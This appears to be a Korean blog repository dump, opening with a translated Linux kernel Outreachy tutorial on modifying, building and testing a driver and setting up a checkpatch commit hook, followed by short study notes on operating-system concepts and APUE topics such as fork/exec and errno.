밑의 몇가지 과정들은 드라이버에 변경사항을 만들고, 내가 제대로 드라이버를 컴파일했고 수정된 드라이버를 잘 설치했는지 테스트 하는 방법에 대해 다룹니다.

## 가상머신에서 드라이버 수정하기

리눅스를 가상머신 위에서 돌리고 있다면, 이 설명들을 따라주세요. 그게 아니라 리눅스를 네이티브로 돌리고 있다면 다음 섹션으로 가주시면 되겠습니다.  

모든 VM 이미지안에 들어있는 하나의 드라이버는 인텔 이더넷 드라이버인 e1000 드라이버입니다. 만약 리눅스를 네이티브로 돌리고있다면, 다른 드라이버를 찾아야 할겁니다. 다음 드라이버 섹션에서 적절한 드라이버를 찾는 방법에 대해 찾아보세요.  

e1000드라이버는 커널의 네트워크 부분에서 찾을 수 있습니다.

```bash
intern@ubuntu:~/git/kernels/staging$ ls drivers/net/ethernet/intel/e1000/
e1000_ethtool.c  e1000.h  e1000_hw.c  e1000_hw.h  e1000_main.c  e1000_osdep.h  e1000_param.c  Makefile 
```

이제 e1000드라이버의 probe 함수에 작은 수정사항을 만들어봅시다. 아, probe 함수는 드라이버가 호출될때 로드되는 함수입니다. e1000_main.c를 수정해봅시다.

```bash
vim drivers/net/ethernet/intel/e1000/e1000_main.c
```

그 다음으로 probe 함수를 찾습니다. standard 모드에서 '/' 키를 누르는것으로 검색기능을 이용할 수 있습니다. probe 함수를 찾았다면, 이렇게 printk 함수를 추가해봅시다.

```c
static int e1000_probe(struct pci_dev *pdev, const struct pci_device_id *ent) {
         struct net_device *netdev;
         struct e1000_adapter *adapter;
         struct e1000_hw *hw;

         printk(KERN_DEBUG "I can modify the Linux kernel!\n");
         static int cards_found = 0;
```

그 다음에 `:wq<엔터>` 를 눌러 파일을 저장하고 나오세요. `:x<엔터>` 도 같은 기능을 합니다.

printk함수는 커널 로그 버퍼에 의해 작성될 메시지를 만드는데요. 이 버퍼는 dmesg 명령을 이용해 볼 수 있습니다.

## 네이티브 리눅스에서 드라이버 수정하기

네이티브 리눅스 시스템은 가상머신에 비해 정말 다양하고 많은 종류의 드라이버들이 로드됩니다. 위에서 언급한 e1000 드라이버가 돌 수 있는 하드웨어를 내가 갖고 있지 않을수도 있다는거죠. 대신, 어떤 드라이버가 내 시스템에 로드되었는지 찾아내어야 합니다. 그 중 하나를 수정해봅시다. 먼저 `lsmod`를 사용하여 어느 드라이버들이 로드되어있는지 확인하고, 수정할 하나를 골라봅시다. e1000와 비슷한 종류의 드라이버가 있다면 그걸 고르셔도 되고요, 그렇지 않다면 수정할 나만의 무선 드라이버를 찾아서 그걸 수정하셔도 됩니다.  

드라이버의 이름을 알았다면, 이제 그 드라이버 파일의 .c와 .h 파일이 리눅스커널 저장소 어디에 있는지 확인할 차례입니다. Makefiles를 통해 어떤 C 파일이 드라이버 바이너리에 컴파일 되어있는지를 알아내어 검색할 수 있습니다. 이렇게 검색하기 위한 가장 좋은 방법은 `git grep` 을 사용하는것입니다. 일반적인 grep과 다르게 git grep은 저장소에 check in 된 파일들만 검사합니다. 일반적인 grep은 바이너리파일, 심지어는 .git 디렉토리까지 검사하니, 얼마나 시간이 아깝습니까?

예를들어서, xhci-hcd 드라이버 안에 컴파일된 파일을 찾는다고 치면, 이런 명령어를 입력하면 됩니다.

```bash
git grep xhci-hcd -- '*Makefile'
```

한번 드라이버를 위한 파일들을 알아내고 나면, 전 섹션에서 다루었던것처럼 probe 함수를 수정하면 됩니다.

## 수정사항 컴파일하기

`make`를 사용해 커널을 재 컴파일합시다.

```bash
make -j2
```

몇가지 컴파일 에러를 고쳐야 된다고 뜰건데요. 수정으로 인하여 생긴 새로운 경고들도 같이 고쳐주도록 합시다. 리눅스 커널에서는 드라이버가 누구의 시스템에서도 경고를 발생하지 않도록 하기위해 열렬히 싸우고 있거든요.(아, 여기서 말하는 누구의 시스템은 32-bit와 64-bit, 다른 아키텍쳐도 포함합니다.) 추가적인 경고를 발생시키는 새로운 기능이나 버그 픽스 패치는 merge되지 않을것입니다.

## 변경사항 설치하기

드라이버를 컴파일 한 뒤에, 다음의 명령어를 통해 변경사항을 설치해봅시다.

```bash
sudo make modules_install install
```



## 변경사항 테스트하기

완전히 새로운 커널을 컴파일 했기때문에, 모듈의 변경사항을 테스트 하기 위해서 우리가 만든 그 커널 안으로 부팅해야합니다. 컴퓨터를 재부팅 시키고, 다음의 명령어를 입력하세요.

```bash
dmesg | less
```

"/I can modify"를 쳐서 우리가 아까 만들었던 printk를 찾아보세요. 아마 부팅 도중에 드라이버의 결과값으로 생긴 이 메시지를 찾을 수 있을것입니다. 못찾으셨다구요? irc.oftc.net 에서 #kernel-outreachy 의 IRC 채널, 혹은 [outreachy-kernel mailing list](https://groups.google.com/forum/#!forum/outreachy-kernel) 에서 도움을 요청해보세요.

## 변경사항을 되돌리기

그냥 간단히 테스트 했던것이기 때문에, 이 변경사항들을 커밋하고 싶지는 않을겁니다. 그래서 이 커밋들을 되돌릴 수 있어요. `:q<엔터>`를 쳐서 에디터에서 빠져 나오신 뒤에, 다음의 명령어를 실행해봅시다.

```bash
git reset --hard HEAD
```

이 명령어는 현재 작업중인 디렉토리의 모든 파일들을 가장 최근에 알려진 커밋 (HEAD커밋) 으로 되돌립니다. 특정한 파일들의 상태를 초기화 하고싶다면, git reset 설명서를 읽어보세요.

# 첫 패치 만들기

이제, 커널에 몇가지 유용한 수정사항을 만들고, 첫 git 커밋을 생성하고, 첫 패치를 보내게 될것입니다.  git에서의 첫번째 커밋을 하기 전, 몇가지 설정할게 있습니다.

## git post-commit hooks

Git은 특정 git 명령어가 실행되기 전이나 그 후에 작동하는 스크립트들을 위한 몇가지의 "hook" 이 있는데요. "post-commit" hook은 `git commit` 명령어를 실행하고 난 뒤에 실행되는 hook입니다.  

리눅스 커널 개발자들은 아주 엄격한 코딩스타일 가이드라인을 갖고있습니다. 이 코딩스타일이 아주 까다롭기때문에, 나의 패치가 커널 코딩스타일을 준수하였는지 확인하는 [checkpatch.pl](https://elixir.bootlin.com/source/scripts/checkpatch.pl) 이라는 스크립트를 만들었습니다.

내가 코딩스타일을 준수하는 좋은 커밋을 만들었는지에 대해 확신을 갖기 위해서, 내 커밋에 "post-commit" hook과 함께 checkpatch.pl을 작동시켜 볼 수 있습니다. 알아두셔야 할 점은, 커밋 이후의 checkpatch는 수소코드의 수정사항뿐만이 아니라 내가 만든 패치 파일 자체를 검사합니다. 그래서 log 메시지의 철자오류라던가, log메시지의 spacing이라던가, 파일을 제거하는데 뜨는 경고등의 이슈들을 더 많이 잡아 낼 것입니다.

이미 `.git/hooks/post-commit` 파일을 갖고있다면 git이 이를 실행하는것을 막기 위해 `.git/hooks/post-commit.sample`로 이름을 바꿔주세요. git은 .sample 확장자를 갖고 있는 파일들은 실행하지 않습니다.

그 후에는 `.git/hooks/post-commit` 파일에 다음의 내용을 추가해주세요.

```bash
#!/bin/sh
exec git show --format=email HEAD | ./scripts/checkpatch.pl --strict --codespell
```

이 파일이 실행 될 수 있도록 권한을 변경하고,

```bash
chmod a+x .git/hooks/post-commit
```

만약에 /usr/share/codespell/dictionary.txt가 없으시다면, 다운로드 받으세요.

```bash
sudo apt install codespell
```

커밋을 한 뒤에, 이 hook은 내 패치가 만든 checkpatch 오류나 경고드를 띄울것입니다. 나로 인하여 만들어진 오류나 경고를 보게 된다면 파일을 바꿔서 커밋을 수정 할 수 있습니다. `git add`를 사용하여 변경사항을 추가하고, `git commit --amend`를 써서 변경사항을 커밋하세요.

## post-commit hook 이 작동하는지 확인하기

post-commit hook은 checkpatch를 작동시킬 신중한 수정사항들을 추가하고 `git commit`을 작동시키는 과정으로 작동된다는것을 알 수 있죠? 커밋을 한 뒤에는 추가적으로 checlpatch.pl 경고나 오류가 있는지 확인해봐야 합니다.  

알아두세요. 이 hook은 어떤 트리에서든 패치를 빌드 할때 필요합니다.  

만약에 post-commit hook이 작동되지 않는다면, IRC에 도움을 요청하세요.

# 잘된 패치 사례들을 이해하기

나만의 패치를 만들기 전, 어떻게 좋은 패치들을 만드는지 알아야겠죠? 그렇지 않으면 프로젝트 유지보수자들이 나의 패치를 받아주지 않을것이고, 쓸데없는 수정사항을 만들어야 할 수도 있으니까요.  

먼저, [PatchPhilosophy](https://kernelnewbies.org/PatchPhilosophy)를 읽도록 합시다. 이 문서는 읽기 쉽고 더 높은 확률로 받아 질 수 있는 패치들을 만드는데 도움을 줄거에요. 또 [CodingStyle](http://elixir.free-electrons.com/linux/latest/source/Documentation/process/coding-style.rst)(커널 코드 저장소의 문서 목록에도 있습니다)도 읽어주세요. 이 문서는 어떻게 리눅스 커널 커뮤니티가 수용 할 수 있는 코드를 작성하는 법과 checkpatch.pl 스크립트의 기본적인 규칙들이 포함되어있어요.  

Checkpatch.pl이 늘 완벽한것은 아니라는점을 알아두세요! 내 수정사항이 checkpatch.pl이 제안하는 방식의 수정인지 알아내기 위해 최선의 판단을 하시고요.  코드에게 있어 최종적인 목표는 더 읽기 편하게 하는것입니다. 만약 checkpatch.pl이 제안한 코드가 기존보다 더 나아진것같지 않다면, checkpatch.pl의 말을 듣지 마세요. 예를들어 한 줄에 81글자가 있지만 그 줄을 밑으로 내리는것이 오히려 못생겨보인다면, 굳이 그 줄을 내리지 마세요. 드라이버를 없앨때 어떻게 일반적인 실수를 피할 수 있는지 [CheckpatchTip](https://kernelnewbies.org/CheckpatchTips) 페이지를 읽어 확인해보세요.

# 없앨 드라이버 찾기

`drivers/staging/`에 있는 staging 트리에는 코딩스타일을 별로 준수하지 않거나 이미 사용이 중단된(deprecated) API 를 사용하는 드라이버들도 잔뜩 꽉차있습니다. 이러한 드라이버들은 깨끗이 제거해야겠죠. 몇몇 드라이버들은 각각의 최상위 디렉토리에 깨끗이 하는 작업을 위해 해야 할 TODO라는 파일이 있어요.

```bash
find drivers/staging -name TODO
```

TODO 아이템중 하나를 다루거나, 간단한 코딩 스타일 정리를 할 수 있습니다.  

drivers/staging은 커널 안에 있는 드라이버들과 커널 밖에 있는 드라이버 두가지를 모두 갖고 있어요. 커널 밖에 있는 드라이버 위에서 작업하는것은 피하는편이 낫습니다. 2015년 2월달에 작성된 몇몇 커널 밖 드라이버들(모듈로 컴파일된 드라이버)은 다음과 같은것들이 있어요.

```
i20
line6
media/parport
media/tlg2300
media/vino
```



## checkpatch.pl 실행하기

다음의 명령어로, staging안의 드라이버를 하나 골라서, 그 파일이 커널 코딩스타일을 준수하는지 아닌지 확인 할 수 있습니다.

```bash
perl scripts/checkpatch.pl -f drivers/staging/android/* | less
```

경고를 찾고, 고치려고 해보세요. 나의 첫 패치로 하나의 경고를 골라보는겁니다. 훗날 여러개의 수정사항들을 하나의 패치로 그룹화 할 수 있겠죠? 다만 그럴 경우에는 각각의 패치가 논리적인 변경사항을 부수지 않는 [PatchPhilosophy](https://kernelnewbies.org/PatchPhilosophy)를 따라야만 합니다.

알아두셔야 할점은, checkpatch는 아주 다양한 경고를 만든다는 점입니다. 가끔 코드가 이상적이지 않거나 checkpatch의 고친 사항이 명백하지 않을 수 있어요. 개인적인 선호도의 문제이거나 정확한 변화사항을 만들기 위해서는 특별한 지식을 요구한다던가 하는 경우들에서요. 비슷한 변경사항이 거부되었는지, 그랬다면 그 이유는 무엇인지 보는데에는 메일링 리스트에서 오래된 메시지들을 돌아보는것이 도움이 됩니다.  

**라이선스와 관련된 checkpatch.pl의 경고는 피하세요. 그 경고는 수정되기 전에 드라이버의 작성자와 회사들의 많은 논의가 필요합니다. 그리고 보통 신참들한테 들어온 그런것들을 고친 수정사항들은 maintainer들이 선호하지 않아요.**  

추가적으로 checkpatch cleanup에 대해서는 커널에서 다른 버그 찾기 도구를 사용할 수 있습니다. 여기 [Coccinele](https://github.com/nerdyvaishali/Talks/blob/master/LinuxCon_Japan/Introduction%20to%20Coccinelle.pdf)에 대해 사용하는 방법을 알아보세요.

## 드라이버 재 컴파일

이제 수정한 드라이버를 모듈로서 설정되게 만들어야 합니다. 다음의 명령어를 실행시키세요.

```bash
make menuconfig
```

이 명령어가 설정 옵션을 탐색 할 수 있는 텍스트 기반의 GUI를 열어줄 것 입니다.  

방향키를 사용해서 `Device Drivers ->`에 들어가신 뒤에, <엔터> 를 누르세요. 그 다음에는 `Staging drivers`에 들어가세요. 언제든 '?' 키를 눌러 해당 옵션에 대한 도움말을 얻을 수 있고, '/' 키를 눌러 내가 수정중인 드라이버의 긴 이름을 검색 할 수 있습니다. 내가 작업중인 드라이버가 내장이 아닌('*') 모듈로서 컴파일 되게 하세요('M'). 드라이버가 메뉴에서 선택되었을때, 'm'키를 눌러 드라이버가 모듈로 컴파일 되도록 하세요. <엔터> 키를 누르는것은 드라이버가 내장이 되도록 할것입니다.  

한번 내가 수정중인 드라이버를 활성화 했다면, <tab>키 혹은 오른쪽 화살표키를 눌러 커서를 'Select'에서 'Exit'으로 옮기시고 <엔터> 를 눌러주세요. 메인 메뉴로 돌아갈때까지 이것을 반복하시면 됩니다. 나의 설정을 저장하겠냐고 물어본다면, 그때 'YES'를 누르세요.  

이후에는 아래의 명령어로 커널을 재컴파일하면 됩니다.

```bash
make -j2
```

커널을 재부팅하고, modprobe를 이용해 드라이버를 로드해야합니다. `lsmod` 명령어를 통해 드라이버가 로드 된것을 볼 수 있을것입니다. 우리에게 있어 드라이버를 로드하는것은 probe 함수가 작동하게 만들 수 있겠죠?

## 커널의 특정부분만 컴파일 하기

커널의 특정 부분만 컴파일 하는데는 여러가지 방법이 있습니다.

-   make path/file.o: 이 방법은 단 하나의 파일만 컴파일 합니다. 다른 파일과 상호작용하는 변경사항을 확인하기가 어렵지 않을것입니다. 이 방법으로는 .config 에서 비활성화된 파일들을 빌드 할 수 있습니다만, 그렇게 하면 실패 할 수도 있습니다. 예를들어 특정 아키텍쳐만을 위한 헤더를 포함하고 있는 경우 같은게 있겠죠.
-   `make drivers/staging`과 같이 path를 make하기: 이 방법은 항상 성공합니다. 그리고 이미 디렉토리가 존재하기 때문에 아무런 역할도 하지 않아요.
-   `make drivers/staging/`과 같이 path/를 make하기: 이 방법은 해당 디렉토리 안에있는 모든 디렉토리를 빌드히지만, 모듈로 링크하지는 않습니다.
-   `make M=drivers/staging`: 이 방법은 전에 빌드한 vmlinux 파일안에 모듈을 링크합니다. .config의 옵션을 수정하거나 새로운 git tree에 rebase 했을경우, 이 방법은 다른 모든 파일들이 `make -j2`와 같은 옵션을 이용해 이미 한번 빌드 되지 않았다면 실패 할 수 있습니다.

## 드라이버 의존성

가끔 드라이버를 찾기 어려울때가 있죠. 아마 CONFIG 옵션을 찾으려고 했을테지만, 메뉴가 있어야할 곳에 없었을거에요. 아마 drvier나 드라이버가 의존하는 subsystem이 활성화되지 않아서 드라이버가 메뉴에서 숨어있는걸겁니다. 메뉴 옵션이 보이게 하려면 모든 의존성들을 활성화 시켜야합니다. 그 이후에는 내가 수정하고있던 드라이버를 활성화 시킬 수 있을거에요.  

예를 들어서, drivers/usb/host/xhci-ring.c를 수정하고 있었다고 해봅시다. Kconfig드라이버의 최상위 디렉토리(drivers/usb/host/Kconfig)에서 Kconfig파일을 열어본다면, xHCI드라이버에 대한 옵션을 볼수 있을겁니다.

```
config USB_XHCI_HCD
         tristate "xHCI HCD (USB 3.0) support"
         depends on USB && USB_ARCH_HAS_XHCI
         ---help---
           The eXtensible Host Controller Interface (xHCI) is standard for USB 3.0
           "SuperSpeed" host controller hardware.

           To compile this driver as a module, choose M here: the
           module will be called xhci-hcd.
```

그럼 이제 명령어 `make menuconfig` 를 실행하고 USB_XHCI_HCD를 찾기 위해 '/'키를 눌러주세요. 검색 결과는 다음과 같은 내용들을 출력할겁니다.

```
Symbol: USB_XHCI_HCD [=m]
 Type  : tristate
 Prompt: xHCI HCD (USB 3.0) support
   Location:
    -> Device Drivers
 (1)   -> USB support (USB_SUPPORT [=y]
   Defined at drivers/usb/host/Kconfig:20
   Depends on: USB_SUPPORT [=y] && USB [=n] && USB_ARCH_HAS_XHCI [=y])
```

 "Depends on" 이 있는 곳을 집중해서 봐주세요. 드라이버 의존성을 가리키는 이 Boolean 식은 메뉴에서 드라이버 옵션을 보기 위해서 활성화 되어야 합니다. 'y'가 의미하는것은 드라이버나 서브시스템이 커널 안에 내장되어 있다는것을 의미하고 'm'은 드라이버가 모듈로 빌드되었음을 의미합니다. 이 두 옵션은 Boolean 논리에서 '1'로 동일합니다. 'n'은 드라이버나 서브시스템이 비활성화 되어있음을 의미합니다. 그리고 이건 Boolean 논리에서 0을 의미하구요.  

#### 팁

만약 Boolean 논리에 대해 모른다면, 이 [튜토리얼](https://www.youtube.com/watch?v=gj8QmRQtVao)을 제안합니다. 기억이 가물가물 해서 잘 모르시겠다면 이 [crib sheet](https://stackoverflow.com/questions/7583853/true-and-false-for-logic-and-logic-table)을 읽어보세요. 귀찮으시면 [불 대수 계산기](https://stackoverflow.com/questions/7583853/true-and-false-for-logic-and-logic-table)도 있고, 우분투에서는 기본적으로 깔려있는 계산기 앱의 "Programming Mode"를 사용하셔도 됩니다.

이 경우에 xHCI 드라이버의 config 옵션은 USB가 'n'으로 설정되어있기 때문에 메뉴에 뜨지 않습니다. USB를 검색해서, 많은 결과가 나왔는데, 그중 USB와 관련되어있는 내용을 찾았네요.

```
Symbol: USB [=n]  
 Type  : tristate
 Prompt: Support for Host-side USB
   Location:
     -> Device Drivers
 (1)   -> USB support (USB_SUPPORT [=n]) 
   Defined at drivers/usb/Kconfig:51
   Depends on: USB_SUPPORT [=n] && USB_ARCH_HAS_HCD [=n]
```

Device Driver의 메뉴를 본다면, "USB Support"가 있죠? 이걸 'm'으로 바꿨습니다. 이 과정 이후에는, "USB Support" 메뉴에서 CONFIG_XHCI_HCD를 찾으실 수 있을겁니다.  

드라이버를 메뉴에서 볼 수 있게 되기 전에 각각의 다른 설정 옵션을 재귀적으로 활성화 해야 할 수도 있습니다. 하다가 막히면 도움을 청하세요.

**알아두셔야 할 점**: CONFIG_BORKEN에 의존하는 드라이버의 위에서 작업하지 마세요.  `make menu config` 이후에 드라이버를 검색했는데 "Depends on: "이 있는 줄에 BROKEN이라는 글자가 있다면, 그 드라이버 위에서 작업하지마세요.

## 모듈 다시 로드하기

만약 `uname -r` 명령어를 실행해서 나오는 커널의 버전과 내가 새로 컴파일 한 코드가 같은 릴리즈 버전을 갖고있다면, 재부팅을 하지 않고도 나의 변경사항을 테스트 할 수 있습니다. 간단히 모듈을 /lib/moudules에 설치하고, 드라이버를 내린뒤에 다시 로드하세요.

```bash
make -j2 && sudo make modules_install
sudo modprobe -r <module_name>
sudo modprobe <module_name>
```

모듈의 이름이 뭔지 모르시겠다고요? 드라이버를 모듈로 컴파일 하셨다면, 최상의 디렉토리에 .ko 파일이 있을겁니다. 예를들어 내가 Android driver을 모듈로 컴파일 한다고 한다면, 다음의 명령어를 실행하면 되겠죠.

```bash
intern@ubuntu:~/git/kernel/staging$ ls drivers/staging/android/*.ko
 drivers/staging/android/alarm-dev.ko  drivers/staging/android/logger.ko
```

자, 그럼 여기에 modprobe와 함께 로드해야하는 두가지의 드라이버가 있습니다. 이 드라이버들을 modprobe에 base 파일명을 넘겨주면서 한번에 로드 할 수 있습니다.

```bash
sudo modprobe alarm-dev
```

드라이버가 확실히 로드되었는지 확인하고 싶으시다면, 다음의 명령어를 실행해보세요.

```bash
lsmod | less
```

# 변경사항 커밋하기

## 나의 변경사항 보기

## 내 변경사항을 커밋하기

## 스테이지된 변경사항을 되돌리기

## 파일의 부분별 커밋

## 변경사항 커밋

## 커밋을 수정하기

## 내 커밋 보기

# 패치 제출하기

## mutt으로 보내기 위해 패치 만들기

## mutt과 함께 패치 보내기

## git send-email로 패치 보내기

## 팁과 트릭들

# 멘토에게 패치를 보내기

# 이메일에 답장하기

## inline으로 답장하기

# 내 패치 수정하기

## 내 커밋 수정하기

## 하나의 패치 수정본에 버전을 나누기

## 패치모음(patchset)의 버전 나누기

# 패치모음(patchset)을 제출하기

## git format-patch를 사용해 patchset을 보내기

---

## File: _posts/2019-9-24-operating57.md

---
layout: post
title: Operating System Concepts - 컴퓨터 시스템 조직도
date: 2019-9-24 16:14:31 +0900
categories: [operating_system]
---

현대의 일반 목적 컴퓨터시스템은 CPU와 디바이스 컨트롤러, 그리고 컴포넌트와 공유메모리의 접근을 허가하는 버스로 구성된다.

디바이스 컨트롤러
- 로컬 버퍼 스토리지 유지보수
- 특수목적 레지스터들 유지보수
- 주변장치들끼리 데이터를 옮기는것에 책임이있음
- CPU와 병렬실행되어 메모리 싸이클에 대해 경쟁

운영체제는 이러한 디바이스 컨트롤러를 위한 드라이버를 갖고있음

기기 드라이버
- 디바이스 컨트롤러를 이해함
- 운영체제에 대한 통일된 인터페이스 제공

대충 보자면,

[               메모리               ] - CPU
   |             |                  \
   USB         그래픽             디스크 컨트롤러

---

## File: _posts/2019-9-25-operating58.md

[Binary file]

---

## File: _posts/2019-9-26-apue60.md

[Binary file]

---

## File: _posts/2019-9-26-operating59.md

[Binary file]

---

## File: _posts/2019-9-27-apue61.md

---
layout: post
title: Advanced Programming in the UNIX Environment - Process, Thread
date: 2019-9-27 23:49:22 +0900
categories: [unix, operating_system]
---

프로그램과 프로세스

# 프로그램
- "디스크의 디렉토리 안에있는 실행가능한 파일"
	- 메모리에 올려짐
	- 7개의 exec 중 하나의 결과값으로 커널에 의해 실행 될 수 있음(나중에 다루겠다, apue에서는 섹션 8.10에서 다룬다고 함)

# 프로세스와 프로세스 ID
## 프로세스
- 실행중인 프로그램을 **프로세스**라고 함
- 몇몇 운영체제에서는 task라고 부르기도 함

## 프로세스 ID
- 모든 프로세스가 갖는 고유한 숫자
- 늘 양수

**자기 자신의 프로세스 id를 출력하는 코드**
```c
#include "apue.h"

int main(void) {
	printf("hello world from pid %ld\n", (long)getpid());
	exit(0);
}
```
getpid 함수에 대해 이야기를 하자면,
- pid_t 자료형의 값을 반환하고, 사이즈는 정해져있지 않지만,
- 표준이 long integer의 사이즈에 맞을것을 보증한다.
	- 물론 대부분의 경우에서 int의 사이즈로도 괜찮을텐데, 호환성을 위해 long을 사용했다.

# 프로세스 제어
프로세스를 제어하기 위한 3개의 주요한 함수가 있다.
- fork
	- 자기 자신이 복제된 새 프로세스를 생성하는 함수
- exec (위에서 말했듯 7개의 종류가 있지만, 편의성을 위해 그냥 exec으로 통칭한다)
- waitpid

**표준 입력에서 명령어를 받아오고, 실행시키는 간이 셸 프로그램**
```c
#include "apue.h"
#include <sys/wait.h>

int main(void) {
	char buf[MAXLINE];
	pid_t pid;
	int status;
	printf("%% ");
	while (fgets(buf, MAXLINE, stdin) != NULL) {
		if(buf[strlen(buf) - 1] == '\n') // 끝자리가 엔터면
			buf[strlen(buf) - 1] = 0; // 엔터까지 명령어로 실행시키면 안되니까 null 로 만든다

		if((pid = fork()) < 0) // fork에 실패했다면
			err_sys("fork error");
		else if (pid == 0) { // fork 로 생성된 프로세스라면
			execlp(buf, buf, (char *)0); // 이 코드로 인하여 자식프로세스가 
			err_ret("couldn't execute: %s", buf);
			exit(127); // return code 127 means when shell failed to find the command that user have typed
		}
		/* parent */
		if ((pid = waitpid(pid, &status, 0)) < 0)
			err_sys("waitpid error");
		printf("%% ");
	}
	exit(0);
}
```

fork 함수의 반환값으로 세개의 경우를 구분해 볼 수 있는데,
- -1: 에러 발생
- 0: fork() 함수로 인해 생성된 프로세스가 fork 함수를 또 다시 호출 함
- 정상적인 pid: fork가 적절히 실행됨

fork되어 생성된 프로세스를 자식 프로세스, fork를 호출한 프로세스를 부모프로세스라고 하겠다.  
그래서 해당 코드를 분석해보자면,  
- 자식프로세스는 execlp로 명령어를 실행시키며 자기 자신을 실행된 해당 파일로 대체시킨다.
- 부모 프로세스는 명령어의 실행이 끝날 때까지 기달려야 하기 때문에(그래야 명령이 끝나고나서 명령어 입력을 받으니까) waitpid 함수를 통해서 기다린다.
	- waitpid의 반환값에는 프로그램의 상태를 알 수 있는 값이 있지만, 이 프로그램에서는 그런것들을 다루지는 않았다.
- 이 프로그램에는 문제점이 하나 있는데, 명령어에다가 인자값을 넘길 수 없다는 점이다.
	- 가령 ls를 실행한다 하더라도 어느 디렉토리에 ls를 할지 지정해 줄 수 없다.
	- 인자값을 넘기려면 스페이스나 탭 문자같은 것들로 인자값을 구분 해 준 뒤, 각각들을 execlp 의 매개변수로 전달해주는 방식으로 고쳐야한다.

# 쓰레드와 쓰레드ID
## 쓰레드
보통 프로그램은 쓰레드가 하나이다. 즉 한번에 하나의 기계어만 실행 된다.  
그러나, 멀티프로세서 시스템에서는 여러 쓰레드를 통해 병렬적으로 일을 처리 할 수 있다.
하나의 프로세스 안의 모든 쓰레드는
- 같은 주소 공간
- 같은 파일 서술자(file descriptor)
- 같은 스택
- 그외에 프로세스와 관련된 모든 속성
들을 공유한다.

각 쓰레드는 같은 프로세스 안에 속해있기 때문에 메모리의 스택공간을 공유한다. (즉 프로세스 a의 쓰레드 b는 쓰레드 c의 스택공간에 접근 할 수 있다!)  
그렇기 때문에 공유된 데이터끼리의 접근에 대해서 동기화를 시켜 줄 필요가있다.

## 쓰레드 ID
프로세스처럼, 쓰레드들은 ID를 통해 특정지어진다.  
물론 쓰레드들은 프로세스 각각에 한정지어 사용되기 때문에 지역변수처럼 한 프로세스는 자신의 쓰레드만 접근 할 수 있다.  
그래서 프로세스 A의 쓰레드 2는 프로세스 B에겐 어떠한 의미도 갖지않는다.  
쓰레드 ID는 프로세스 안에서 특정 쓰레드들을 능수능란하게 다루기 위해 사용한다.  
쓰레드는 유닉스 시스템에서 프로세스 모델이 생긴지 한참 뒤에 생겼기때문에 쓰레드 모델과 프로세스 모델은 복잡한 상호작용을 한다.

---

## File: _posts/2019-9-28-apue62.md

---
layout: post
title: Advanced Programming in the UNIX Environment - Error handling
date: 2019-9-28 15:19:26 +0900
categories: [unix, operating_system]
---

# 에러 처리
- 유닉스 시스템에서 에러가 나면 상태를 알려주는 음수가 반환된다. (그러니까 에러코드같은 개념이라고 보면 된다)
- errno.h 헤더에는 발생할 수 있는 에러코드들에 대해 정의하고있다.
	- 이러한 상수들은 E로 시작한다.

-POSIX와 ISO C에서는 errno를 **확장하는 수정가능한 정수 피연산자**라고 정의하고 있다.
	- 그러니까, **에러 숫자를 갖고있는 정수**
	- 혹은 **에러 숫자를 가리키는 포인터를 반환하는 함수**
가 될 수 있다.

그래서 이것에 대한 전통적인 정의는:
```c
extern int errno;
```
라고 할 수 있다.

- 그러나 쓰레드를 지원하는 환경에서는 프로세스의 주소공간이 여러 쓰레드끼리 공유가 되고, 그래서 각각의 쓰레드는 errno의 복사버전을 가져야한다. (그래야 한 쓰레드가 다른 쓰레드를 간섭하는것을 막을 수 있으니까)

- 리눅스는 멀티쓰레드 시스템에서의 errno의 접근을 아까 위에서 보았던 저 정의를
```c
extern int *__errno_location(void);
#define errno (*__errno_location())
```
로 함으로써 멀티쓰레드에서의 접근을 지원한다.

errno에게 있어 두가지 주의할 규칙이 있는데,

- errno의 값은 절대로 에러가 발생하지 않았다면 루틴에 의해 값이 초기화 되지 않는다.
	- 그래서 함수가 오류가 났다고 알릴때에만 값을 검사해야한다.
- errno의 값은 절대로 0이 될 수 없다.
	- 어떠한 함수에 의해서도 0이 나올 수 없고, errno.h에 있는 어떠한 값도 0이 아니다.

c표준에서는 이러한 에러를 다루는데 도움을 주는 두가지 함수를 제공한다.
```c
#include <string.h>
char *strerror(int errnum);
```
strerror, 그리고
```c
#include <stdio.h>
void perror(const char *msg);
```
perror가 그것이다.

strerror는 에러숫자를 바탕으로 해당 에러에 대한 설명을 하는 문자열을 반환하고, perror은 오류가 발생한 바로 다음에 함수를 호출하게 되면, 인자값으로 받은 msg를 출력한뒤 해당 에러에 대한 설명을 하는 문자열을 출력한다.  
그렇기때문에, perror함수는 에러가 발생되고 바로 뒤에 호출되어야한다.

그럼 이 두가지 함수를 활용하는 예제를 한번 작성해보자!
```c
#include "apue.h"
#include <errno.h>

int main(int argc, char *argv[]) {
	fprintf(stderr, "EACCES: %s\n", strerror(EACCES));
	errno = ENOENT;
	perror(argv[0]);
	exit(0);
}
```

## 에러 복구
### errno에 정의된 에러는 두가지로 나눌 수 있다. 그리고 이들은 각각 다음과같다.
- fatal: 복구 불가능
- nonfatal: 대부분이 일시적인 에러

### 리소스와 관련된 nonfatal 에러
- EAGAIN
- ENFILE
- ENOBUFS
- ENOLCK
- ENOSPC
- EWOULDBLOCK
- ENOMEM: 항상 nonfatal은 아님.
- EBUSY: 에러가 공유된 자원을 사용중이라고 한다면 nonfatal 에러로 여겨질 수 있다.
- EINTR: 느린 시스템 콜을 인터럽트 했었을때 nonfatal 에러로 여겨질 수 있다.

#### 복구법
- 가장 흔한 방법은 기다린 뒤에 다시 시도하는것이다.
	- 이 방법은 다른 환경에서도 응용될 수 있는데, "인터넷 연결이 응답하지 않습니다" 와 같은 에러가 났을때 뒤에선 어플리케이션을 잠시 기다리게 한 후 재시도하게 할 수 도 있는것이 그 예시이다.
	- 몇몇 응용프로그램은 exponential backkoff algorithm을 사용하여 이후의 시도들에 대해 점점 더 대기 시간을 늘게하는 방식을 사용하기도 한다.
- 궁극적으로, 에러를 복구 할 수 있을지 없을지는 응용프로그램 개발자에게 달려있다.
- 합리적인 복구전략이 사용될때, 우리는 앱의 비정상적 종료를 막음으로서 견고성을 늘릴 수 있다.

---

## File: _posts/2019-9-29-apue63.md

---
layout: post
title: Advanced Programming in the UNIX Environment - User Identification
date: 2019-9-29 15:21:42 +0900
categories: [unix, operating_system]
---

# 사용자 인증
## User ID
- password 파일 안에있는 사용자ID는 **시스템에 대해 인증하는 숫자 값**이다.
- 로그인 이름이 할당될때 시스템 관리자에 의해 할당된다.
- 수정이 불가능하다.
- 정상적인 경우 각 유저는 unique한 값을 가진다.
## Group ID
- password 파일 안에는 그룹ID도 있다.
